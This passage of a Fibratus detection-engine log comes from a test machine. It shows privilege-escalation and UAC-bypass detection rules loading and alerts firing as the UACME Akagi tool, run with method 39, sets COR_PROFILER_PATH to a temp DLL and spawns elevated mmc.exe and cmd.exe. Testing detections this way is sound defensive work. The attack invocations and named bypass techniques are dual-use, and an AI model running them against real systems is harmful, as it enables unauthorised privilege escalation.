Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 577505 + Pid: 14728 + Tid: 14060 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:45:32.7401623 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3f90e000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808003fd0080, name➜ cmd.exe, pid➜ 13524, ppid➜ 14728, real_ppid➜ 14728, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:45:32.7401124 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 14728 + Ppid: 15148 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:46:40+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T17:46:40+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:46:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:47:58+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-01T17:47:58+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T17:47:58+01:00 level=info msg=bootstrapping with pid 2716. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T17:47:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] port=>25 enabled=>false content-type=>text/html use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-fileio=>true enable-mem=>true max-buffers=>36 enable-audit-api=>true enable-thread=>true stack-enrichment=>true enable-registry=>true enable-image=>true flush-interval=>1s min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-vamap=>true enable-dns=>false enable-handle=>false buffer-size=>512 enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 log-stdout=>true level=>info max-backups=>15 formatter=>text max-age=>0] + output ......................... [ http=>[ timeout=>5s enabled=>false tls-insecure-skip-verify=>false method=>POST serializer=>json endpoints=>[] enable-gzip=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] sniff=>false bulk-workers=>1 trace-log=>false healthcheck-interval=>10s index-name=>fibratus template-name=>fibratus gzip-compression=>false flush-period=>1s healthcheck=>true enabled=>false timeout=>5s healthcheck-timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ enabled=>false level=>info] amqp=>[ tls-insecure-skip-verify=>false timeout=>5s durable=>false enabled=>false passive=>false delivery-mode=>transient exchange-type=>topic url=>amqp://localhost:5672 vhost=>/ routing-key=>fibratus exchange=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false scan-timeout=>10s excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false enabled=>false skip-allocs=>false excluded-procs=>[] skip-mmaps=>false fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-01T17:47:58+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:48:00+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:48:44+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 657806 + Pid: 6992 + Tid: 13884 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:48:42.5434532 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b4a3faf0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 6992 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 661515 + Pid: 13524 + Tid: 8548 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:48:43.28381 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3c1a2c000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808ff4a0f080, name➜ cmd.exe, pid➜ 2100, ppid➜ 13524, real_ppid➜ 13524, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:48:43.2837407 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 13524 + Ppid: 6992 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:49:11+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T17:49:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:49:11+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:50:46+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-01T17:50:46+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T17:50:46+01:00 level=info msg=bootstrapping with pid 11740. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T17:50:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] enabled=>false port=>25 content-type=>text/html use-template=>true] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ max-buffers=>36 enable-thread=>true enable-fileio=>true stack-enrichment=>true enable-registry=>true flush-interval=>1s enable-vamap=>true enable-net=>true enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false min-buffers=>16 enable-dns=>false enable-mem=>true enable-image=>true buffer-size=>512 enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info max-size=>100 max-age=>0 max-backups=>15 log-stdout=>true] + output ......................... [ amqp=>[ timeout=>5s delivery-mode=>transient enabled=>false routing-key=>fibratus exchange-type=>topic exchange=>fibratus vhost=>/ durable=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false 